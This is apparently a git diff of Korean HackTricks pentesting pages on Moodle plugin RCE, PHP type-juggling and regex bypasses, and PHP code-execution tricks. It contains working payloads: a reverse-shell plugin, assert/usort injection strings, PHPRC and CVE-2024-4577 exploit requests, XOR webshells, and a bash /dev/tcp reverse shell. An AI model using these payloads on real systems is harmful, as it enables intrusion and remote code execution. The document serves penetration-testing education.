- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html\*\*](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
- [https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html**](https://blog.doyensec.com/2023/01/10/imagemagick-security-policy-evaluator.html)
{{#include ../../banners/hacktricks-training.md}}

6
src/network-services-pentesting/pentesting-web/moodle.md
View File

@ -62,17 +62,17 @@ cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs
나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 꽤 **쓸모없다는 것을 발견했다**. 당신은 **여기에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
나는 자동 도구가 **무들 버전에 영향을 미치는 취약점을 찾는 데 매우 쓸모없다는 것을 발견했다**. 당신은 **여기에서 확인할 수 있다**: [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)
## **RCE**
당신은 **관리자** 역할을 가져야 하며 **"사이트 관리"** 탭 안에 **플러그인을 설치할 수 있다**\*\*:\*\*
당신은 **관리자** 역할을 가져야 하며 **"사이트 관리"** 탭 안에 **플러그인을 설치할 수 있다**:
![](<../../images/image (630).png>)
관리자라면 여전히 **이 옵션을 활성화해야 할 수도 있다**. 무들 권한 상승 PoC에서 어떻게 하는지 볼 수 있다: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
그런 다음, 클래식 pentest-monkey php r**ev shell**이 포함된 **다음 플러그인**을 **설치할 수 있다** (_업로드하기 전에 압축을 풀고, revshell의 IP와 포트를 변경한 후 다시 압축해야 한다_)
그런 다음, **다음 플러그인을 설치할 수 있다**. 이 플러그인은 고전적인 pentest-monkey php r**ev shell**을 포함하고 있다 (_업로드하기 전에 압축을 풀고, revshell의 IP와 포트를 변경한 후 다시 압축해야 한다_)
{{#file}}
moodle-rce-plugin.zip

86
src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md
View File

@ -22,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### 느슨한 비교/타입 조작 ( == )
`==`가 PHP에서 사용되면, 예상치 못한 경우에 비교가 예상대로 작동하지 않습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지 비교하고 싶다면 `===`를 사용해야 합니다.
`==`가 PHP에서 사용되면, 비교가 예상대로 작동하지 않는 예외적인 경우가 있습니다. 이는 "=="가 동일한 타입으로 변환된 값만 비교하기 때문이며, 비교되는 데이터의 타입이 동일한지도 비교하고 싶다면 `===`를 사용해야 합니다.
PHP 비교 표: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -33,17 +33,17 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
{{#endfile}}
- `"string" == 0 -> True` 숫자로 시작하지 않는 문자열은 숫자와 같습니다.
- `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식의 숫자로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 True로 비교될 수 있습니다 (문자열의 숫자는 숫자로 해석됩니다).
- `"0xAAAA" == "43690" -> True` 10진수 또는 16진수 형식으로 구성된 문자열은 숫자가 동일할 경우 다른 숫자/문자열과 비교할 수 있으며 결과는 True입니다. (문자열의 숫자는 숫자로 해석됩니다.)
- `"0e3264578" == 0 --> True` "0e"로 시작하고 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
- `"0X3264578" == 0X --> True` "0"로 시작하고 그 뒤에 어떤 문자(여기서 X는 어떤 문자든 가능)와 그 뒤에 어떤 것이든 오는 문자열은 0과 같습니다.
- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시된 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 값을 제공할 수 있다면 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"0e12334" == "0" --> True` 이는 매우 흥미로운데, 어떤 경우에는 "0"의 문자열 입력과 해시되고 비교되는 내용을 제어할 수 있습니다. 따라서 "0e"로 시작하고 어떤 문자도 없는 해시를 생성할 수 있는 값을 제공할 수 있다면, 비교를 우회할 수 있습니다. 이 형식의 **이미 해시된 문자열**은 여기에서 찾을 수 있습니다: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 문자열의 어떤 문자도 int 0과 같습니다.
자세한 정보는 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)에서 확인할 수 있습니다.
### **in_array()**
**타입 조작**은 기본적으로 `in_array()` 함수에도 영향을 미칩니다 (엄격한 비교를 위해 세 번째 인수를 true로 설정해야 합니다):
**타입 조작**은 기본적으로 `in_array()` 함수에도 영향을 미칩니다(엄격한 비교를 하려면 세 번째 인수를 true로 설정해야 합니다):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -53,7 +53,7 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되면, 사용자가 비교의 한 쪽을 제어할 수 있으므로 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
이 함수가 **모든 인증 확인**(예: 비밀번호 확인)에 사용되고 사용자가 비교의 한 쪽을 제어할 경우, 그는 비밀번호의 값으로 문자열 대신 빈 배열을 보낼 수 있습니다 (`https://example.com/login.php/?username=admin&password[]=`) 그리고 이 확인을 우회할 수 있습니다:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
@ -64,7 +64,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### 엄격한 타입 조작
`===`가 **사용되고** 있더라도 **비교가 취약한** **타입 조작**으로 인해 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**:
`===`가 **사용되고** 있더라도 **비교가 취약해지는** 오류가 발생할 수 있습니다. 예를 들어, 비교가 **비교하기 전에 데이터를 다른 타입의 객체로 변환하는 경우**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -74,7 +74,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
#### New line bypass
그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**에 걸쳐 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예:
그러나, 정규 표현식의 시작을 구분할 때 `preg_match()`는 **사용자 입력의 첫 번째 줄만 확인**합니다. 따라서 만약 어떤 방법으로 **여러 줄**로 입력을 **전송**할 수 있다면, 이 검사를 우회할 수 있습니다. 예:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -95,10 +95,10 @@ echo preg_match("/^.*1.*$/",$myinput);
```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **길이 오류 우회**
#### **Length error bypass**
(이 우회는 PHP 5.2.5에서 시도된 것으로 보이며, PHP 7.3.15에서는 작동하지 않았습니다)\
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 되어 **검사를 우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다:
`preg_match()`에 유효한 매우 **큰 입력**을 보낼 수 있다면, **처리할 수 없게** 되어 체크를 **우회**할 수 있습니다. 예를 들어, JSON을 블랙리스트에 올리고 있다면 다음과 같이 보낼 수 있습니다:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -113,9 +113,9 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
간단히 말해, 문제는 PHP의 `preg_*` 함수가 [PCRE 라이브러리](http://www.pcre.org/)를 기반으로 하기 때문에 발생합니다. PCRE에서는 특정 정규 표현식이 많은 재귀 호출을 사용하여 일치되며, 이는 많은 스택 공간을 사용합니다. 허용되는 재귀 호출의 수에 제한을 설정할 수 있지만, PHP에서는 이 제한이 [기본적으로 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)으로 설정되어 있어 스택에 맞지 않습니다.
[이 Stackoverflow 스레드](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)도 이 문제에 대해 더 깊이 논의된 게시물에 링크되어 있었습니다. 우리의 작업은 이제 명확했습니다:\
**정규 표현식이 100_000회 이상의 재귀를 수행하게 만드는 입력을 보내어 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
**정규 표현식이 100,000회 이상의 재귀를 수행하게 만드는 입력을 전송하여 SIGSEGV를 유발하고, `preg_match()` 함수가 `false`를 반환하게 하여 애플리케이션이 우리의 입력이 악의적이지 않다고 생각하게 만든 후, 페이로드의 끝에 `{system(<verybadcommand>)}`와 같은 놀라움을 던져 SSTI --> RCE --> flag :)**.
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1_000_000 (1M)입니다.\
정규 표현식 용어로, 우리는 실제로 100k "재귀"를 수행하는 것이 아니라 "백트래킹 단계"를 세고 있으며, [PHP 문서](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)에 따르면 `pcre.backtrack_limit` 변수의 기본값은 1,000,000 (1M)입니다.\
이를 달성하기 위해 `'X'*500_001`은 100만 개의 백트래킹 단계를 생성합니다 (500k 전방 및 500k 후방):
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -133,7 +133,7 @@ $obfs += ""; //int 7
```
## Execute After Redirect (EAR)
PHP가 다른 페이지로 리디렉션하고 있지만 **`die`** 또는 **`exit`** 함수가 **헤더 `Location`**이 설정된 후에 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
PHP가 다른 페이지로 리디렉션하고 있지만 **`Location`** 헤더가 설정된 후 **`die`** 또는 **`exit`** 함수가 호출되지 않으면, PHP는 계속 실행되어 데이터를 본문에 추가합니다:
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -143,7 +143,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Path Traversal and File Inclusion Exploitation
## 경로 탐색 및 파일 포함 취약점
Check:
@ -151,19 +151,19 @@ Check:
../../../pentesting-web/file-inclusion/
{{#endref}}
## More tricks
## 더 많은 트릭
- **register_globals**: In **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다 (또는 그 동작이 모방되고 있습니다). 이는 $\_GET과 같은 전역 변수에 값이 있는 경우 예를 들어 $\_GET\["param"]="1234"와 같이, **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다\*\*.
- **같은 도메인의 PHPSESSION 쿠키는 같은 위치에 저장됩니다**, 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우** 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하게 만들 수 있습니다**.\
이렇게 하면 **두 경로가 같은 이름의 변수를 접근할 경우** path1의 **변수 값을 path2에 적용할 수 있습니다**. 그러면 path2는 path1의 변수를 유효한 것으로 간주하게 됩니다 (path2에서 해당 이름에 맞는 쿠키를 부여함으로써).
- 머신의 **사용자 이름**을 알고 있을 때, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인하십시오.
- php 설정에 **`register_argc_argv = On`**이 설정되어 있으면, 공백으로 구분된 쿼리 매개변수가 **`array_keys($_SERVER['argv'])`** 배열을 채우는 데 사용됩니다 **CLI의 인수처럼**. 이는 흥미로운데, 만약 **그 설정이 꺼져 있다면**, 웹에서 호출할 때 **args 배열의 값은 `Null`**이 됩니다. 따라서 웹 페이지가 `if (empty($_SERVER['argv'])) {`와 같은 비교로 웹에서 실행되고 있는지 CLI 도구로 실행되고 있는지를 확인하려고 할 때, 공격자는 **GET 요청에 `?--configPath=/lalala`와 같은 매개변수를 전송할 수 있으며** 이는 CLI로 실행되고 있다고 생각하게 되어 해당 인수를 파싱하고 사용할 수 있습니다. 더 많은 정보는 [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)에서 확인하십시오.
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
- **register_globals**: **PHP < 4.1.1.1** 또는 잘못 구성된 경우, **register_globals**가 활성화될 수 있습니다(또는 그 동작이 모방되고 있을 수 있습니다). 이는 $\_GET와 같은 전역 변수에 값이 있는 경우, 예를 들어 $\_GET\["param"]="1234", 이를 **$param을 통해 접근할 수 있음을 의미합니다. 따라서 HTTP 매개변수를 전송함으로써 코드 내에서 사용되는 변수를 덮어쓸 수 있습니다.**
- **동일 도메인의 PHPSESSION 쿠키는 동일한 위치에 저장됩니다.** 따라서 도메인 내에서 **다른 경로에서 다른 쿠키가 사용되는 경우**, 해당 경로가 **다른 경로 쿠키의 값을 설정하여 쿠키에 접근하도록 만들 수 있습니다.**\
이렇게 하면 **두 경로가 동일한 이름의 변수를 접근할 경우**, **path1의 해당 변수 값을 path2에 적용할 수 있습니다.** 그러면 path2는 path1의 변수를 유효한 것으로 간주합니다(쿠키에 path2에 해당하는 이름을 부여함으로써).
- **사용자의 사용자 이름**이 있는 경우, 주소 **/\~\<USERNAME>**를 확인하여 php 디렉토리가 활성화되어 있는지 확인합니다.
- php 구성에 **`register_argc_argv = On`**이 설정되어 있으면, 공백으로 구분된 쿼리 매개변수가 **`array_keys($_SERVER['argv'])`**의 인수 배열을 채우는 데 사용됩니다. 이는 **CLI의 인수**처럼 작동합니다. 이 설정이 꺼져 있으면, 웹에서 호출할 때 **args 배열의 값은 `Null`**이 됩니다. 따라서 웹 페이지가 `if (empty($_SERVER['argv'])) {`와 같은 비교를 통해 웹 또는 CLI 도구로 실행되고 있는지 확인하려고 할 때, 공격자는 **GET 요청에 `?--configPath=/lalala`와 같은 매개변수를 전송할 수 있으며**, 이는 CLI로 실행되고 있다고 생각하고 해당 인수를 파싱하고 사용할 수 있습니다. 더 많은 정보는 [원본 글](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms)에서 확인하세요.
- [**php 래퍼를 사용한 LFI 및 RCE**](../../../pentesting-web/file-inclusion/index.html)
### password_hash/password_verify
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성하고** 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다**.\
지원되는 알고리즘은: `PASSWORD_DEFAULT` 및 `PASSWORD_BCRYPT` (시작은 `$2y$`). **PASSWORD_DEFAULT는 종종 PASSWORD_BCRYPT와 동일합니다.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
이 함수들은 일반적으로 PHP에서 **비밀번호로부터 해시를 생성하고** 해시와 비교하여 비밀번호가 올바른지 **확인하는 데 사용됩니다.**\
지원되는 알고리즘은 `PASSWORD_DEFAULT`와 `PASSWORD_BCRYPT`(시작은 `$2y$`)입니다. **PASSWORD_DEFAULT는 종종 PASSWORD_BCRYPT와 동일합니다.** 현재 **PASSWORD_BCRYPT**는 **입력의 크기 제한이 72bytes**입니다. 따라서 이 알고리즘으로 72bytes보다 큰 것을 해시하려고 하면 처음 72B만 사용됩니다:
```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
@ -175,7 +175,7 @@ True
#### Causing error after setting headers
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP는 응답에서 헤더를 설정하지 않을 것입니다.
From [**this twitter thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) you can see that sending more than 1000 GET params or 1000 POST params or 20 files, PHOP은 응답에서 헤더를 설정하지 않을 것입니다.
예를 들어 CSP 헤더가 코드에서 설정되는 것을 우회할 수 있습니다:
```php
@ -185,8 +185,8 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
```
#### 헤더 설정 전에 본문 채우기
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **충분히 긴 콘텐츠**를 출력하게 만들어 응답에 **헤더를 추가하려고 할 때** 서버가 오류를 발생시키게 할 수 있습니다.\
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키게 했으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
**PHP 페이지가 오류를 출력하고 사용자가 제공한 일부 입력을 다시 에코하는 경우**, 사용자는 PHP 서버가 **헤더를 응답에 추가하려고 할 때** 오류를 발생시키도록 **충분히 긴 콘텐츠**를 출력하게 할 수 있습니다.\
다음 시나리오에서 **공격자는 서버가 큰 오류를 발생시키도록 만들었으며**, 화면에서 볼 수 있듯이 PHP가 **헤더 정보를 수정하려고 할 때, 수정할 수 없었습니다** (예를 들어 CSP 헤더가 사용자에게 전송되지 않았습니다):
![](<../../../images/image (1085).png>)
@ -212,7 +212,7 @@ preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
```
"replace" 인수에서 코드를 실행하려면 최소한 하나의 일치 항목이 필요합니다.\
이 preg_replace 옵션은 **PHP 5.5.0부터 사용 중단되었습니다.**
이 preg_replace 옵션은 **PHP 5.5.0부터 더 이상 사용되지 않습니다.**
### **Eval()을 통한 RCE**
```
@ -224,16 +224,16 @@ preg_replace("/a/e","phpinfo()","whatever")
```
### **Assert()를 통한 RCE**
이 php 내의 함수는 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
이 함수는 php 내에서 **문자열로 작성된 코드를 실행**하여 **true 또는 false를 반환**할 수 있게 해줍니다 (그리고 이에 따라 실행을 변경할 수 있습니다). 일반적으로 사용자 변수는 문자열의 중간에 삽입됩니다. 예를 들어:\
`assert("strpos($_GET['page']),'..') === false")` --> 이 경우 **RCE**를 얻기 위해 다음과 같이 할 수 있습니다:
```
?page=a','NeVeR') === false and system('ls') and strpos('a
```
코드 **구문**을 **깨고**, **페이로드**를 **추가**한 다음 **다시 수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않는데, 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 마찬가지로 ";"도 작동하지 않으며, 우리의 페이로드가 실행되지 않습니다.
코드 **구문**을 **깨고**, **페이로드**를 **추가**한 다음 **다시 수정**해야 합니다. "**and" 또는 "%26%26" 또는 "|"**와 같은 **논리 연산**을 사용할 수 있습니다. "or", "||"는 작동하지 않는데, 첫 번째 조건이 참이면 우리의 페이로드가 실행되지 않기 때문입니다. 같은 이유로 ";"도 작동하지 않으며, 우리의 페이로드가 실행되지 않습니다.
**다른 옵션**은 문자열에 명령 실행을 추가하는 것입니다: `'.highlight_file('.passwd').'`
**다른 옵션**(내부 코드를 가지고 있는 경우)은 실행을 변경하기 위해 일부 변수를 수정하는 것입니다: `$file = "hola"`
**다른 옵션** (내부 코드를 가지고 있는 경우)은 실행을 변경하기 위해 일부 변수를 수정하는 것입니다: `$file = "hola"`
### **usort()를 통한 RCE**
@ -263,8 +263,8 @@ usort();}phpinfo;#, "cmp");
닫아야 할 괄호의 수를 알아내려면:
- `?order=id;}//`: 오류 메시지(`Parse error: syntax error, unexpected ';'`)가 발생합니다. 하나 이상의 괄호가 누락된 것 같습니다.
- `?order=id);}//`: **경고**가 발생합니다. 적절한 것 같습니다.
- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많을 수 있습니다.
- `?order=id);}//`: **경고**가 발생합니다. 이 정도면 괜찮은 것 같습니다.
- `?order=id));}//`: 오류 메시지(`Parse error: syntax error, unexpected ')' i`)가 발생합니다. 닫는 괄호가 너무 많은 것 같습니다.
### **.httaccess를 통한 RCE**
@ -274,10 +274,10 @@ usort();}phpinfo;#, "cmp");
### 환경 변수로 인한 RCE
PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일을 업로드할 수 있는 또 다른 취약점이 있다면, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파일을 업로드할 수 있는 또 다른 취약점이 필요하지만, 더 많은 연구를 통해 우회할 수 있을지도 모릅니다), 이 동작을 악용하여 **RCE**를 얻을 수 있습니다.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우 작동하지 않을 수 있습니다).
- **`PHPRC`**: PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 PHP 런타임에 의해 다른 코드보다 먼저 실행됩니다.
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): 이 환경 변수는 다른 바이너리를 실행할 때 임의의 라이브러리를 로드할 수 있게 해줍니다(이 경우에는 작동하지 않을 수 있습니다).
- **`PHPRC`** : PHP에 **구성 파일의 위치**를 지시합니다. 일반적으로 `php.ini`라고 불립니다. 자신의 구성 파일을 업로드할 수 있다면, `PHPRC`를 사용하여 PHP가 이를 가리키도록 하십시오. 두 번째 업로드된 파일을 지정하는 **`auto_prepend_file`** 항목을 추가합니다. 이 두 번째 파일은 일반 **PHP 코드**를 포함하며, 이는 다른 코드가 실행되기 전에 PHP 런타임에 의해 실행됩니다.
1. 쉘코드를 포함하는 PHP 파일을 업로드합니다.
2. 1단계에서 업로드한 파일을 실행하도록 PHP 전처리기에 지시하는 **`auto_prepend_file`** 지시어를 포함하는 두 번째 파일을 업로드합니다.
3. 2단계에서 업로드한 파일로 `PHPRC` 변수를 설정합니다.
@ -287,15 +287,15 @@ PHP에서 **env 변수를 수정할 수 있는** 취약점을 발견하면(파
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
- 또는 RCE를 얻기 위해 **`allow_url_include`**를 활성화하고 **base64 PHP 코드**가 포함된 파일을 전처리합니다:
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 가져왔습니다.
- 이 기술은 [**이 보고서**](https://vulncheck.com/blog/juniper-cve-2023-36845)에서 가져온 것입니다.
### XAMPP CGI RCE - CVE-2024-4577
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 실행합니다. 이는 `php.exe cgi.php foo=bar`로, 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다:
웹 서버는 HTTP 요청을 구문 분석하고 이를 PHP 스크립트에 전달하여 [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com)와 같은 요청을 `php.exe cgi.php foo=bar`로 실행합니다. 이는 매개변수 주입을 허용합니다. 이는 본문에서 PHP 코드를 로드하기 위해 다음 매개변수를 주입할 수 있게 합니다:
```jsx
-d allow_url_include=1 -d auto_prepend_file=php://input
```
또한, PHP의 후속 정규화로 인해 0xAD 문자를 사용하여 "-" 매개변수를 주입하는 것이 가능합니다. [**이 게시물**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)의 익스플로잇 예제를 확인하세요.
또한, PHP의 후속 정규화로 인해 0xAD 문자를 사용하여 "-" 매개변수를 주입할 수 있습니다. [**이 게시물**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/)의 익스플로잇 예제를 확인하세요.
```jsx
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
@ -325,11 +325,11 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
```
PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini`에서 `display_errors = On`을 추가하여 전역적으로 오류 출력을 활성화하고 apache를 재시작할 수 있습니다: `sudo systemctl restart apache2`
PHP 애플리케이션을 디버깅하는 경우 `/etc/php5/apache2/php.ini`에 `display_errors = On`을 추가하여 전역적으로 오류 출력을 활성화하고 apache를 재시작할 수 있습니다: `sudo systemctl restart apache2`
### PHP 코드 디오브퓨스케이팅
### PHP 코드 디오브퓨스케이션
PHP 코드를 디오브퓨스케이트하기 위해 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.**
PHP 코드를 디오브퓨스케이션하기 위해 **web**[ **www.unphp.net**](http://www.unphp.net) **를 사용할 수 있습니다.**
## PHP 래퍼 및 프로토콜
@ -353,7 +353,7 @@ echo "$x ${Da}"; //Da Drums
```
## RCE abusing new $\_GET\["a"]\($\_GET\["b")
페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있을 것입니다. 방법을 배우려면 다음 페이지를 확인하세요:
페이지에서 **임의 클래스의 새 객체를 생성**할 수 있다면 RCE를 얻을 수 있습니다. 방법을 배우려면 다음 페이지를 확인하세요:
{{#ref}}
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -374,9 +374,9 @@ $__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
```
### XOR 쉬운 쉘 코드
### XOR 쉬운 셸 코드
[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 쉘코드를 생성할 수 있습니다:
[**이 글**](https://mgp25.com/ctf/Web-challenge/)에 따르면, 다음과 같은 방법으로 쉬운 셸 코드를 생성할 수 있습니다:
```php
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

54
src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md
View File

@ -6,7 +6,7 @@
### PHP 명령 실행
**참고:** [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php 웹쉘은 일부 함수가 비활성화된 경우 **자동으로** 다음 함수를 확인하고 우회할 수 있습니다.
**참고:** [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) php 웹쉘은 일부 기능이 비활성화된 경우 **자동으로** 다음 기능을 확인하고 우회할 수 있습니다.
**exec** - 명령 출력의 마지막 줄을 반환합니다.
```bash
@ -40,15 +40,15 @@ proc_close(proc_open("uname -a",array(),$something));
```php
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
```
**pcntl_exec** - 프로그램을 실행합니다(기본적으로 최신 및 구형 PHP에서는 이 함수를 사용하기 위해 `pcntl.so` 모듈을 로드해야 합니다)
**pcntl_exec** - 프로그램을 실행합니다 (기본적으로 최신 및 구형 PHP에서는 이 함수를 사용하기 위해 `pcntl.so` 모듈을 로드해야 합니다)
```bash
pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]);
```
**mail / mb_send_mail** - 이 함수는 메일을 보내는 데 사용되지만, `$options` 매개변수에 임의의 명령을 주입하는 데 악용될 수 있습니다. 이는 **php `mail` 함수**가 일반적으로 시스템 내의 `sendmail` 바이너리를 호출하고 추가 옵션을 넣을 수 있기 때문입니다. 그러나 실행된 명령의 출력을 볼 수 없으므로, 출력을 파일에 기록하는 셸 스크립트를 만들고, 메일을 사용하여 실행한 후 출력을 인쇄하는 것이 권장됩니다:
